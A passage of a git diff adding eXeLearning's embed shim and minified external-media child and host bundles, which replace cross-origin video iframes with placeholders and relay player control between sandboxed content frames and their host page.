+            placeholder.style.maxWidth = '100%';
+            placeholder.style.width = cssSize(frame.getAttribute('width'), (rect.width || 0) + 'px');
+            placeholder.style.height = cssSize(frame.getAttribute('height'), (rect.height || 0) + 'px');
+            placeholder.style.background = '#000';
+            frame.parentNode.replaceChild(placeholder, frame);
+            created.push(placeholder);
+        }
+        return created;
+    }
+
+    /**
+     * Collect the geometry of every placeholder in the document.
+     *
+     * @param {Document} doc
+     * @returns {Object[]}
+     */
+    function collect(doc) {
+        var embeds = [];
+        var nodes = doc.querySelectorAll('[data-exe-embed-id]');
+        for (var i = 0; i < nodes.length; i++) {
+            var node = nodes[i];
+            var rect = node.getBoundingClientRect();
+            var rec = {
+                id: node.getAttribute('data-exe-embed-id'),
+                url: node.getAttribute('data-exe-embed-url'),
+                x: rect.left,
+                y: rect.top,
+                w: rect.width,
+                h: rect.height
+            };
+            var provider = node.getAttribute('data-exe-embed-provider');
+            var objectId = node.getAttribute('data-exe-embed-object-id');
+            if (provider && objectId) {
+                rec.provider = provider;
+                rec.objectId = objectId;
+            }
+            embeds.push(rec);
+        }
+        return embeds;
+    }
+
+    // Re-announcement schedule (ms after the previous attempt). The host relay is
+    // loaded LAZILY by its page (most previews embed nothing), so it may start
+    // listening after this document has already run. Announcing more than once
+    // closes that race without ever promoting on our own authority.
+    var ANNOUNCE_DELAYS = [250, 750, 1500, 3000];
+
+    /**
+     * Build the in-content runtime for one document.
+     *
+     * The shim NEVER promotes an embed on its own authority. It announces itself to
+     * the parent and waits for the host relay to answer; only then does it replace
+     * the author's iframes with placeholders. Without that answer the document is
+     * left exactly as authored — an unanswered placeholder is a permanent black box,
+     * strictly worse than an unprotected embed, and exported content routinely runs
+     * where no host exists at all (file://, a third-party LMS, an ePub reader).
+     *
+     * Note `file://` is itself an opaque origin in every engine, so "opaque" alone
+     * can never be the activation signal.
+     *
+     * @param {Window} win Injectable for tests.
+     * @param {Document} doc Injectable for tests.
+     * @returns {Object} {start, isActivated, handleHostMessage}
+     */
+    function createRuntime(win, doc) {
+        win = win || (typeof window !== 'undefined' ? window : undefined);
+        doc = doc || (typeof document !== 'undefined' ? document : undefined);
+
+        var counter = { n: 0 };
+        var scheduled = false;
+        var lastReported = '';
+        var activated = false;
+        var baseHref = win && win.location ? win.location.href : undefined;
+
+        function post(message) {
+            try {
+                win.parent.postMessage(message, '*');
+            } catch (e) {
+                // An unreachable parent is the no-host case; the watchdog handles it.
+            }
+        }
+
+        // force=true always posts (activation, load, and parent 'request' pings --
+        // the parent may have just started listening or lost its state); observer
+        // -driven reports skip when the geometry did not actually change, so an
+        // attribute-noisy page (carousel animations, aria flips) cannot spam the
+        // parent with identical syncs.
+        function report(force) {
+            var embeds = collect(doc);
+            var serialized = JSON.stringify(embeds);
+            if (!force && serialized === lastReported) {
+                return;
+            }
+            lastReported = serialized;
+            post({ type: 'exe-embed', action: 'sync', embeds: embeds });
+        }
+
+        function schedule() {
+            if (scheduled) {
+                return;
+            }
+            scheduled = true;
+            win.requestAnimationFrame(function () {
+                scheduled = false;
+                report(false);
+            });
+        }
+
+        function run() {
+            promote(doc, counter, baseHref);
+            report(true);
+        }
+
+        /* v8 ignore start -- browser-only observer glue, covered by the e2e specs */
+        function observe() {
+            if (win.MutationObserver) {
+                // attributes too, not just childList: layout-affecting UI (the exported
+                // page's nav toggle, accordions) usually flips a class/style on an
+                // existing node, which reflows the placeholders without adding or
+                // removing any element. The filter keeps the observer to the
+                // reflow-causing attributes.
+                new win.MutationObserver(function () {
+                    promote(doc, counter, baseHref);
+                    schedule();
+                }).observe(doc.documentElement, {
+                    childList: true,
+                    subtree: true,
+                    attributes: true,
+                    attributeFilter: ['class', 'style', 'hidden', 'open'],
+                });
+            }
+            win.addEventListener('scroll', schedule, true);
+            win.addEventListener('resize', schedule);
+            // A class-toggled layout change usually ANIMATES (CSS transition on the nav
+            // drawer): the mutation fires at the start, so re-measure again when the
+            // transition/animation lands to report the settled geometry.
+            win.addEventListener('transitionend', schedule, true);
+            win.addEventListener('animationend', schedule, true);
+            if (win.ResizeObserver) {
+                // Catches content-box changes that fire no window resize (the drawer
+                // pushing the content column, images loading late and growing the page).
+                var resizeObserver = new win.ResizeObserver(schedule);
+                resizeObserver.observe(doc.documentElement);
+                if (doc.body) {
+                    resizeObserver.observe(doc.body);
+                }
+            }
+            win.addEventListener('load', function () {
+                report(true);
+            });
+        }
+        /* v8 ignore stop */
+
+        // Promote for the first time. Only ever reached from a host answer.
+        function activate() {
+            if (activated) {
+                return;
+            }
+            activated = true;
+            observe();
+            run();
+        }
+
+        function announce(index) {
+            if (activated) {
+                return;
+            }
+            post({ type: 'exe-embed', action: 'hello' });
+            if (index < ANNOUNCE_DELAYS.length) {
+                win.setTimeout(function () {
+                    announce(index + 1);
+                }, ANNOUNCE_DELAYS[index]);
+            }
+        }
+
+        // Two inbound actions, deliberately distinct:
+        //
+        //   'welcome' — the relay's ANSWER to this document's hello. It is addressed:
+        //               the relay resolved this exact window before replying. This is
+        //               the only thing that may unlock promotion.
+        //   'request' — the relay's geometry re-sync ping, BROADCAST to every content
+        //               frame without resolving any of them. It must never unlock a
+        //               document; while dormant it only prompts another hello, which
+        //               recovers a relay that started after we stopped announcing.
+        function handleHostMessage(event) {
+            if (!event || event.source !== win.parent) {
+                return;
+            }
+            var data = event.data;
+            if (!data || data.type !== 'exe-embed') {
+                return;
+            }
+            if (data.action === 'welcome') {
+                if (activated) {
+                    run();
+                    return;
+                }
+                activate();
+                return;
+            }
+            if (data.action === 'request') {
+                if (activated) {
+                    run();
+                } else {
+                    announce(0);
+                }
+            }
+        }
+
+        function start() {
+            if (!isFramed(win) || !isOpaqueOrigin(win)) {
+                return false;
+            }
+            win.addEventListener('message', handleHostMessage);
+            announce(0);
+            return true;
+        }
+
+        return {
+            start: start,
+            isActivated: function () {
+                return activated;
+            },
+            handleHostMessage: handleHostMessage,
+        };
+    }
+
+    /**
+     * Bootstrap inside the package iframe (no-op outside a framed opaque origin, and
+     * dormant until a host relay answers the handshake).
+     */
+    /* v8 ignore next 3 */
+    function init() {
+        return createRuntime(window, document).start();
+    }
+
+    var exp = {
+        isOpaqueOrigin: isOpaqueOrigin,
+        isFramed: isFramed,
+        createRuntime: createRuntime,
+        isPdfUrl: isPdfUrl,
+        isCrossOriginHttps: isCrossOriginHttps,
+        isPromotable: isPromotable,
+        extractProvider: extractProvider,
+        promote: promote,
+        collect: collect,
+        init: init
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser bootstrap consumes window.exeEmbedShim; auto-run inside the iframe.
+    if (typeof window !== 'undefined') {
+        window.exeEmbedShim = exp;
+        if (typeof document !== 'undefined') {
+            if (document.readyState === 'loading') {
+                document.addEventListener('DOMContentLoaded', init);
+            } else {
+                init();
+            }
+        }
+    }
+})();
diff --git a/js/exe_external_media/exe-external-media-child.min.js b/js/exe_external_media/exe-external-media-child.min.js
new file mode 100644
index 0000000..79bd060
--- /dev/null
+++ b/js/exe_external_media/exe-external-media-child.min.js
@@ -0,0 +1,13 @@
+/*!
+ * eXeLearning external-media child bundle — https://github.com/exelearning/exelearning
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so these bytes can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins without either project
+ * relicensing them. Combining is already permitted by GPLv3 s13 and AGPLv3 s13;
+ * combining never relicenses, so this grant is what makes vendoring lawful.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(()=>{var le=Object.defineProperty,ue=Object.defineProperties,ce=Object.getOwnPropertyDescriptors,B=Object.getOwnPropertyNames,z=Object.getOwnPropertySymbols,de=Object.prototype.hasOwnProperty,fe=Object.prototype.propertyIsEnumerable,Y=(e,t,r)=>t in e?le(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,I=(e,t)=>{for(var r in t||(t={}))de.call(t,r)&&Y(e,r,t[r]);if(z)for(var r of z(t))fe.call(t,r)&&Y(e,r,t[r]);return e},me=(e,t)=>ue(e,ce(t)),_=(e,t)=>function(){return e&&(t=(0,e[B(e)[0]])(e=0)),t},pe=(e,t)=>function(){return t||(0,e[B(e)[0]])((t={exports:{}}).exports,t),t.exports};function ve({warn:e}={}){const t=new Set,r=[],n=e!=null?e:(o=>console.warn(o));return{notice(o,a){t.has(o)||(t.add(o),r.push(o),n(`[exe] window.${o} is deprecated and will be removed in a future major. Use ${a}. It still works for now; nothing needs changing today.`))},announced(){return[...r]}}}function j(e,t,r,n){return typeof Proxy=="undefined"?e:new Proxy(e,{get(o,a,i){return n.notice(t,r),Reflect.get(o,a,i)}})}var he=_({"src/shared/external-media/compatibility/legacy-globals.ts"(){}});function _e(e){return typeof e=="string"&&V.includes(e)}function ye(e){return typeof e=="string"&&F.includes(e)}var g,O,b,V,F,w=_({"src/shared/external-media/protocol/messages.ts"(){g=1,O="exe-embed",b="exe-media",V=["open","play","pause","seek","getCurrentTime","getDuration","hide","show","close"],F=["ready","play","pause","ended","timeupdate","seeked","state","error","closed"]}});function Z(e,t){const r=e.toLowerCase().replace(/\.$/,"");return r===t||r.endsWith(`.${t}`)}var W,H,J,ge=_({"src/shared/external-media/providers/types.ts"(){W="allow-scripts allow-same-origin allow-popups allow-forms allow-presentation",H="autoplay; encrypted-media; fullscreen; picture-in-picture; clipboard-write",J="strict-origin-when-cross-origin"}});function be(e){var t;return(t=ee.get(e))!=null?t:null}function Ee(e){var t;const r=e.hostname.toLowerCase().replace(/\.$/,"");return(t=D.find(n=>n.hosts.some(o=>Z(r,o))))!=null?t:null}function Ie(e){var t,r;let n;try{n=new URL(e)}catch(o){return null}return n.protocol!=="https:"||n.username||n.password?null:(r=(t=Ee(n))==null?void 0:t.parse(n))!=null?r:null}var M,x,X,P,G,R,K,C,Q,D,ee,te=_({"src/shared/external-media/providers/registry.ts"(){ge(),M={passive:{supported:!0,sandbox:W,allow:H,referrerPolicy:J},controlled:{supported:!1},facade:{posterStrategy:"none"}},x=/^[A-Za-z0-9_-]{11}$/,X=I({id:"youtube",hosts:["youtube.com","youtu.be","youtube-nocookie.com"],resourceIdPattern:x,kind:"video",parse(e){var t,r,n,o;const a=e.hostname.toLowerCase().replace(/\.$/,"");let i="";return Z(a,"youtu.be")?i=(t=e.pathname.split("/").filter(Boolean)[0])!=null?t:"":i=(o=(n=e.searchParams.get("v"))!=null?n:(r=e.pathname.match(/^\/(?:embed|v|shorts)\/([^/?#]+)/))==null?void 0:r[1])!=null?o:"",x.test(i)?{provider:"youtube",resourceId:i,kind:"video"}:null},buildCanonicalEmbedUrl(e){return x.test(e)?`https://www.youtube-nocookie.com/embed/${e}`:null}},M),P=/^[0-9]{6,12}$/,G=I({id:"vimeo",hosts:["vimeo.com"],resourceIdPattern:P,kind:"video",parse(e){var t,r,n;const o=(n=(r=(t=e.pathname.match(/^\/video\/([0-9]+)/))==null?void 0:t[1])!=null?r:e.pathname.split("/").filter(Boolean)[0])!=null?n:"";return P.test(o)?{provider:"vimeo",resourceId:o,kind:"video"}:null},buildCanonicalEmbedUrl(e){return P.test(e)?`https://player.vimeo.com/video/${e}`:null}},M),R=/^[A-Za-z0-9]{5,}$/,K=I({id:"dailymotion",hosts:["dailymotion.com","dai.ly"],resourceIdPattern:R,kind:"video",parse(e){var t,r,n,o;const a=(o=(n=(t=e.pathname.match(/^\/embed\/video\/([A-Za-z0-9]+)/))==null?void 0:t[1])!=null?n:(r=e.pathname.match(/^\/video\/([A-Za-z0-9]+)/))==null?void 0:r[1])!=null?o:"";return R.test(a)?{provider:"dailymotion",resourceId:a,kind:"video"}:null},buildCanonicalEmbedUrl(e){return R.test(e)?`https://www.dailymotion.com/embed/video/${e}`:null}},M),C=/^[A-Za-z0-9]{8,}$/,Q=I({id:"mediateca-madrid",hosts:["mediateca.educa.madrid.org"],resourceIdPattern:C,kind:"video",parse(e){var t,r;const n=(r=(t=e.pathname.match(/^\/video\/([A-Za-z0-9]+)(?:\/fs)?\/?$/))==null?void 0:t[1])!=null?r:"";return C.test(n)?{provider:"mediateca-madrid",resourceId:n,kind:"video"}:null},buildCanonicalEmbedUrl(e){return C.test(e)?`https://mediateca.educa.madrid.org/video/${e}/fs`:null}},M),D=[X,G,K,Q],ee=new Map(D.map(e=>[e.id,e]))}});function Me(e){return typeof e=="object"&&e!==null}function Ae(e,t,r){return typeof e=="number"&&Number.isFinite(e)&&e>=t&&e<=r}function E(e){return Ae(e,0,ne)}function re(e,t){return Me(e)&&e.type===t}function Oe(e){if(!re(e,b)||e.v!==g||!_e(e.action))return!1;switch(e.action){case"open":{if(!Number.isInteger(e.reqId)||!(e.start===void 0||e.start===null||E(e.start))||typeof e.provider!="string"||typeof e.videoId!="string")return!1;const t=be(e.provider);return!!t&&t.resourceIdPattern.test(e.videoId)}case"seek":return E(e.t);case"getCurrentTime":case"getDuration":return Number.isInteger(e.reqId);default:return!0}}function we(e){if(!re(e,b)||e.v!==g||!ye(e.action))return!1;switch(e.action){case"timeupdate":return E(e.currentTime)&&E(e.duration);case"seeked":return E(e.currentTime);case"state":return Number.isInteger(e.reqId);case"ready":return e.duration===void 0||e.duration===null||E(e.duration);case"error":return typeof e.code=="string"&&typeof e.fatal=="boolean";default:return!0}}var ne,xe=_({"src/shared/external-media/protocol/schemas.ts"(){te(),w(),ne=1e6}});function Pe(){let e=null;const t=new WeakSet;function r(n){const o=new Map;let a=new Map,i=0,u=!1;function h(s,p){var d;for(const y of(d=o.get(s))!=null?d:[])try{y(p)}catch(je){}}function f(s){if(u)return;const p=me(I({},s),{type:b,v:g});Oe(p)&&n.postMessage(p)}function m(s,p){return new Promise(d=>{if(u){d(null);return}i+=1;const y=i;a.set(y,{resolve:d,field:p}),f({action:s,reqId:y})})}const v={on(s,p){var d;return o.set(s,[...(d=o.get(s))!=null?d:[],p]),v},off(s,p){var d;return o.set(s,((d=o.get(s))!=null?d:[]).filter(y=>y!==p)),v},open(s){i+=1,f({action:"open",reqId:i,provider:s.provider,videoId:s.videoId,start:s.start,autoplay:s.autoplay})},play:()=>f({action:"play"}),pause:()=>f({action:"pause"}),seek:s=>f({action:"seek",t:s}),hide:()=>f({action:"hide"}),show:()=>f({action:"show"}),close:()=>f({action:"close"}),getCurrentTime:()=>m("getCurrentTime","currentTime"),getDuration:()=>m("getDuration","duration"),isRetired:()=>u};function c(s){var p;if(u||!we(s))return;const d=s;if(d.action==="state"){const y=a.get(d.reqId);if(!y)return;a.delete(d.reqId),y.resolve((p=d[y.field])!=null?p:null);return}h(d.action,d)}function l(){if(!u){for(const s of a.values())s.resolve(null);a=new Map,h("closed",{type:b,v:g,action:"closed",superseded:!0}),u=!0,o.clear()}}return{controller:v,deliver:c,retire:l}}return{create(n){var o;const a=r(n);return e&&e.controller!==a.controller&&e.retire(),e=a,t.has(n)||(t.add(n),n.onmessage=i=>e==null?void 0:e.deliver(i==null?void 0:i.data),(o=n.start)==null||o.call(n)),a.controller}}}var Re=_({"src/shared/external-media/media/controller.ts"(){w(),xe()}});function Ce({win:e,createHelloId:t}){const r=Pe();let n=null;function o(){const a=e.parent;return a?new Promise(i=>{const u=t();let h=!1;function f(m){var v;if(h)return;const c=m;if((c==null?void 0:c.source)!==a)return;const l=c.data;if(!l||l.type!==b||l.v!==g||l.action!=="welcome"||l.helloId!==u)return;const s=(v=c.ports)==null?void 0:v[0];s&&(h=!0,e.removeEventListener("message",f),i(s))}e.addEventListener("message",f);try{a.postMessage({type:b,v:g,action:"hello",helloId:u},"*")}catch(m){}}):Promise.resolve(null)}return{session(){return n!=null||(n=o()),n},async openMedia(a){const i=await this.session();if(!i)return null;const u=r.create(i);return u.open(a),u}}}var De=_({"src/shared/external-media/media/media-child.ts"(){w(),Re()}});function L(e){var t;try{return(t=e.document)==null||t.cookie,e.origin==="null"}catch(r){return!0}}function S(e){try{return!!e&&e.parent!==e}catch(t){return!0}}function oe(e){var t;return(t=e.location)==null?void 0:t.href}function Le(e,t){try{const r=new URL(e,t);if(r.protocol!=="https:")return!1;const n=r.hostname.toLowerCase().replace(/\.$/,""),o=new URL(t!=null?t:"").hostname.toLowerCase().replace(/\.$/,"");return n!==o}catch(r){return!1}}function Se(e,t){try{return/\.pdf$/i.test(new URL(e,t).pathname)}catch(r){return!1}}function ie(e,t){return Le(e,t)||Se(e,t)}var T=_({"src/shared/external-media/child/environment.ts"(){}});function Te(e,t,r={}){let n=!1,o="";function a(c){try{e.parent.postMessage(c,"*")}catch(l){}}function i(c){const l=t.collect(),s=JSON.stringify(l);!c&&s===o||(o=s,a({type:O,action:"sync",embeds:l}))}function u(){t.promote(),i(!0)}function h(){var c;n||(n=!0,(c=r.onActivate)==null||c.call(r),u())}function f(c){n||(a({type:O,action:"hello"}),c<$.length&&e.setTimeout(()=>f(c+1),$[c]))}function m(c){if(!c||c.source!==e.parent)return;const l=c.data;if(!(!l||l.type!==O)){if(l.action==="welcome"){n?u():h();return}l.action==="request"&&(n?i(!0):f(0))}}function v(){return!S(e)||!L(e)?!1:(e.addEventListener("message",m),f(0),!0)}return{start:v,isActivated:()=>n,handleHostMessage:m,refresh(){n&&i(!1)},rescan(){n&&(t.promote(),i(!1))},resync(){n&&i(!0)}}}var $,$e=_({"src/shared/external-media/child/child-runtime.ts"(){w(),T(),$=[250,750,1500,3e3]}});function ae(e,t){return e?/^[0-9]+$/.test(e)?`${e}px`:e:t}function Ne(e,t,r){var n,o,a,i;const u=oe(r),h=(n=e.ownerDocument)!=null?n:e,f=[];for(const m of Array.from(e.querySelectorAll("iframe[src]"))){if(m.getAttribute(A))continue;const v=m.getAttribute("src");if(!v||!ie(v,u))continue;const c=(a=(o=m.getBoundingClientRect)==null?void 0:o.call(m))!=null?a:{width:0,height:0},l=h.createElement("div");t.n+=1,l.setAttribute(A,`exe-embed-${t.n}`);let s=v;try{s=new URL(v,u).href}catch(y){s=v}l.setAttribute(N,s);const p=Ie(s);p&&(l.setAttribute(k,p.provider),l.setAttribute(U,p.resourceId)),l.className=m.className;const d=l.style;d.display="block",d.maxWidth="100%",d.width=ae(m.getAttribute("width"),`${c.width||0}px`),d.height=ae(m.getAttribute("height"),`${c.height||0}px`),d.background="#000",(i=m.parentNode)==null||i.replaceChild(l,m),f.push(l)}return f}function ke(e){return Array.from(e.querySelectorAll(`[${A}]`)).map(t=>{var r,n;const o=t.getBoundingClientRect(),a={id:(r=t.getAttribute(A))!=null?r:"",url:(n=t.getAttribute(N))!=null?n:"",x:o.left,y:o.top,w:o.width,h:o.height},i=t.getAttribute(k),u=t.getAttribute(U);return i&&u&&(a.provider=i,a.objectId=u),a})}var A,N,k,U,Ue=_({"src/shared/external-media/child/embed-scanner.ts"(){te(),T(),A="data-exe-embed-id",N="data-exe-embed-url",k="data-exe-embed-provider",U="data-exe-embed-object-id"}});function se(e){const t={n:0},r=()=>{var o;return(o=e.document.body)!=null?o:e.document};let n=!1;return{promote:()=>{if(!n){n=!0;try{Ne(r(),t,e)}finally{n=!1}}},collect:()=>ke(r())}}function q(e){const t=se(e),r=Te(e,t,{onActivate:n});function n(){if(e.MutationObserver&&e.document.documentElement&&new e.MutationObserver(()=>r.rescan()).observe(e.document.documentElement,{childList:!0,subtree:!0,attributes:!0}),e.addEventListener("scroll",()=>r.refresh(),!0),e.addEventListener("resize",()=>r.refresh()),e.addEventListener("transitionend",()=>r.refresh(),!0),e.addEventListener("animationend",()=>r.refresh(),!0),e.ResizeObserver){const o=new e.ResizeObserver(()=>r.refresh());e.document.documentElement&&o.observe(e.document.documentElement),e.document.body&&o.observe(e.document.body)}e.addEventListener("load",()=>r.resync())}return{started:r.start(),runtime:r}}function qe(e,t){e.readyState==="loading"?e.addEventListener("DOMContentLoaded",t):t()}function Be(e,t={}){const r=ve(t),n=Ce({win:e,createHelloId:()=>{var i,u;const h=e.crypto;return(u=(i=h==null?void 0:h.randomUUID)==null?void 0:i.call(h))!=null?u:`h-${Math.random().toString(36).slice(2)}`}});e.exeExternalMediaChild={start:()=>q(e),createDomScanner:se,media:n};const o={openMedia:i=>n.openMedia(i),ensureSession:()=>n.session(),inIframe:()=>S(e),isSandboxedOpaque:()=>L(e)};e.exeMediaBridge=j(o,"exeMediaBridge","window.exeExternalMediaChild.media.openMedia()",r);const a={createRuntime:(i=e)=>q(i).runtime,isOpaqueOrigin:L,isFramed:S,isPromotable:ie,contentBase:oe};e.exeEmbedShim=j(a,"exeEmbedShim","window.exeExternalMediaChild.start()",r)}var ze=_({"src/shared/external-media/child-entry.ts"(){he(),De(),$e(),Ue(),T()}}),Ye=pe({"src/shared/external-media/child-bundle.ts"(){ze(),typeof window!="undefined"&&(Be(window),qe(window.document,()=>q(window)))}});Ye()})();
diff --git a/js/exe_external_media/exe-external-media-host.min.js b/js/exe_external_media/exe-external-media-host.min.js
new file mode 100644
index 0000000..cd1d07d
--- /dev/null
+++ b/js/exe_external_media/exe-external-media-host.min.js
@@ -0,0 +1,13 @@
+/*!
+ * eXeLearning external-media host bundle — https://github.com/exelearning/exelearning
+ *
+ * Copyright (C) 2026 eXeLearning Team
+ *
+ * Dual-licensed so these bytes can ship inside eXeLearning (AGPL-3.0-or-later)
+ * and inside the GPL-3.0-or-later host plugins without either project
+ * relicensing them. Combining is already permitted by GPLv3 s13 and AGPLv3 s13;
+ * combining never relicenses, so this grant is what makes vendoring lawful.
+ *
+ * SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later
+ */
+(()=>{var Ae=Object.defineProperty,G=Object.getOwnPropertyNames,R=Object.getOwnPropertySymbols,J=Object.prototype.hasOwnProperty,K=Object.prototype.propertyIsEnumerable,Q=(e,t,o)=>t in e?Ae(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o,C=(e,t)=>{for(var o in t||(t={}))J.call(t,o)&&Q(e,o,t[o]);if(R)for(var o of R(t))K.call(t,o)&&Q(e,o,t[o]);return e},Le=(e,t)=>{var o={};for(var n in e)J.call(e,n)&&t.indexOf(n)<0&&(o[n]=e[n]);if(e!=null&&R)for(var n of R(e))t.indexOf(n)<0&&K.call(e,n)&&(o[n]=e[n]);return o},E=(e,t)=>function(){return e&&(t=(0,e[G(e)[0]])(e=0)),t},Re=(e,t)=>function(){return t||(0,e[G(e)[0]])((t={exports:{}}).exports,t),t.exports};function Te({warn:e}={}){const t=new Set,o=[],n=e!=null?e:(a=>console.warn(a));return{notice(a,u){t.has(a)||(t.add(a),o.push(a),n(`[exe] window.${a} is deprecated and will be removed in a future major. Use ${u}. It still works for now; nothing needs changing today.`))},announced(){return[...o]}}}function ee(e,t,o,n){return typeof Proxy=="undefined"?e:new Proxy(e,{get(a,u,c){return n.notice(t,o),Reflect.get(a,u,c)}})}var $e=E({"src/shared/external-media/compatibility/legacy-globals.ts"(){}});function Se(e){return typeof e=="string"&&te.includes(e)}function De(e){return typeof e=="string"&&re.includes(e)}var O,k,A,te,re,T=E({"src/shared/external-media/protocol/messages.ts"(){O=1,k="exe-embed",A="exe-media",te=["hello","sync"],re=["open","play","pause","seek","getCurrentTime","getDuration","hide","show","close"]}});function Ne({doc:e,translate:t,onClose:o}){var n,a,u;let c=!1,s=!1;const r=e.createElement("dialog");r.className="exe-media-modal",r.setAttribute("aria-label",t("Video player"));try{r.setAttribute("closedby","any")}catch(v){}const l=e.createElement("button");l.setAttribute("type","button"),l.className="exe-media-modal__close",l.setAttribute("aria-label",t("Close video")),l.textContent=t("Close");const i=e.createElement("div");i.className="exe-media-modal__body",r.appendChild(l),r.appendChild(i);function f(){var v,g;c||(c=!0,(v=r.close)==null||v.call(r),(g=r.remove)==null||g.call(r),o())}return l.addEventListener("click",f),r.addEventListener("click",v=>{(v==null?void 0:v.target)===r&&f()}),r.addEventListener("close",()=>{if(s){s=!1;return}f()}),(a=(n=e.body)!=null?n:e.documentElement)==null||a.appendChild(r),(u=r.showModal)==null||u.call(r),{body:()=>i,show:()=>{var v;return(v=r.showModal)==null?void 0:v.call(r)},hide(){var v;c||(s=!0,(v=r.close)==null||v.call(r),s=!1)},close:f,isClosed:()=>c}}var Ue=E({"src/shared/external-media/media/modal.ts"(){}});function Fe(e){const{container:t,doc:o,win:n,dialect:a,videoId:u,origin:c,start:s,autoplay:r,on:l}=e;if(!a)return null;const i=o.createElement("iframe"),f={currentTime:0,duration:0};let v=!1;function g(d){var y;if(!(v||!d))try{(y=i.contentWindow)==null||y.postMessage(JSON.stringify(d),a.targetOrigin)}catch(h){}}function P(d){var y,h,_;d===$.playing?(y=l.play)==null||y.call(l):d===$.paused?(h=l.pause)==null||h.call(l):d===$.ended&&((_=l.ended)==null||_.call(l))}function p(d,y){var h;typeof d=="number"&&(f.currentTime=d),typeof y=="number"&&(f.duration=y),(h=l.time)==null||h.call(l,f.currentTime,f.duration)}function m(d){var y,h,_,b,w;if(v)return;const x=d;if((x==null?void 0:x.source)!==i.contentWindow)return;const I=a.decodeEvent(x.data);if(I)switch(I.kind){case"ready":for(const wt of a.subscribeCommands())g(wt);(y=l.ready)==null||y.call(l,f.duration||void 0);break;case"play":(h=l.play)==null||h.call(l);break;case"pause":(_=l.pause)==null||_.call(l);break;case"ended":(b=l.ended)==null||b.call(l);break;case"error":(w=l.error)==null||w.call(l,I.code);break;case"info":p(I.currentTime,I.duration),P(I.playerState);break;case"timeupdate":p(I.currentTime,I.duration);break;case"state":P(I.playerState);break}}return i.setAttribute("allow","autoplay; encrypted-media; fullscreen; picture-in-picture"),i.setAttribute("allowfullscreen",""),i.setAttribute("referrerpolicy","strict-origin-when-cross-origin"),Object.assign(i.style,{border:"0",width:"100%",height:"100%"}),i.setAttribute("src",a.buildPlayerUrl(u,{origin:c,start:s,autoplay:r})),n.addEventListener("message",m),i.addEventListener("load",()=>{for(const d of a.subscribeCommands())g(d)}),t.appendChild(i),{play:()=>g(a.encodeCommand("play")),pause:()=>g(a.encodeCommand("pause")),seek:d=>g(a.encodeCommand("seek",d)),currentTime:()=>f.currentTime,duration:()=>f.duration,destroy(){var d;v||(v=!0,n.removeEventListener("message",m),(d=i.parentNode)==null||d.removeChild(i))}}}var $,je=E({"src/shared/external-media/media/player-adapter.ts"(){$={ended:0,playing:1,paused:2}}});function M(e){return typeof e=="number"&&Number.isFinite(e)?e:void 0}function ne(e){const t=Number(e);return Number.isFinite(t)&&t>0?t:0}function oe(e){if(typeof e=="string")try{const t=JSON.parse(e);return typeof t=="object"&&t!==null?t:null}catch(t){return null}return typeof e=="object"&&e!==null?e:null}function He(e){var t;return(t=se[e])!=null?t:null}var W,ae,Y,le,ie,se,We=E({"src/shared/external-media/media/provider-dialects.ts"(){W="https://www.youtube-nocookie.com",ae={id:"youtube",targetOrigin:W,buildPlayerUrl(e,{origin:t,start:o,autoplay:n}){const a=new URL(`${W}/embed/${encodeURIComponent(e)}`);return a.searchParams.set("enablejsapi","1"),a.searchParams.set("rel","0"),a.searchParams.set("modestbranding","1"),t&&a.searchParams.set("origin",t),o&&a.searchParams.set("start",String(Math.floor(o))),n&&a.searchParams.set("autoplay","1"),a.href},encodeCommand(e,t){switch(e){case"play":return{event:"command",func:"playVideo",args:[]};case"pause":return{event:"command",func:"pauseVideo",args:[]};case"seek":return{event:"command",func:"seekTo",args:[ne(t),!0]};default:return null}},subscribeCommands:()=>[{event:"listening"}],decodeEvent(e){var t;const o=oe(e);if(!o||typeof o.event!="string")return null;if(o.event==="onReady")return{kind:"ready"};if(o.event==="onError")return{kind:"error",code:String((t=o.info)!=null?t:"")};if(o.event==="infoDelivery"&&typeof o.info=="object"&&o.info!==null){const n=o.info;return{kind:"info",currentTime:M(n.currentTime),duration:M(n.duration),playerState:M(n.playerState)}}if(o.event==="onStateChange"){const n=typeof o.info=="object"&&o.info!==null?o.info.playerState:o.info;return{kind:"state",playerState:M(n)}}return null}},Y="https://player.vimeo.com",le=["playProgress","timeupdate","play","pause","ended","error"],ie={id:"vimeo",targetOrigin:Y,buildPlayerUrl(e,{autoplay:t}){const o=new URL(`${Y}/video/${encodeURIComponent(e)}`);return o.searchParams.set("api","1"),o.searchParams.set("player_id",`exe-vimeo-${e}`),t&&o.searchParams.set("autoplay","1"),o.href},encodeCommand(e,t){switch(e){case"play":return{method:"play"};case"pause":return{method:"pause"};case"seek":return{method:"setCurrentTime",value:ne(t)};default:return null}},subscribeCommands:()=>le.map(e=>({method:"addEventListener",value:e})),decodeEvent(e){const t=oe(e);if(!t||typeof t.event!="string")return null;switch(t.event){case"ready":return{kind:"ready"};case"play":return{kind:"play"};case"pause":return{kind:"pause"};case"ended":case"finish":return{kind:"ended"};case"error":return{kind:"error",code:"vimeo_error"};case"playProgress":case"timeupdate":{if(typeof t.data!="object"||t.data===null)return null;const o=t.data;return{kind:"timeupdate",currentTime:M(o.seconds),duration:M(o.duration)}}default:return null}}},se={youtube:ae,vimeo:ie}}});function Ye(e,t){const o=e.toLowerCase().replace(/\.$/,"");return o===t||o.endsWith(`.${t}`)}var B,V,q,ue=E({"src/shared/external-media/providers/types.ts"(){B="allow-scripts allow-same-origin allow-popups allow-forms allow-presentation",V="autoplay; encrypted-media; fullscreen; picture-in-picture; clipboard-write",q="strict-origin-when-cross-origin"}});function z(e){var t;return(t=ve.get(e))!=null?t:null}function Be(e,t){var o,n;return(n=(o=z(e))==null?void 0:o.buildCanonicalEmbedUrl(t))!=null?n:null}var 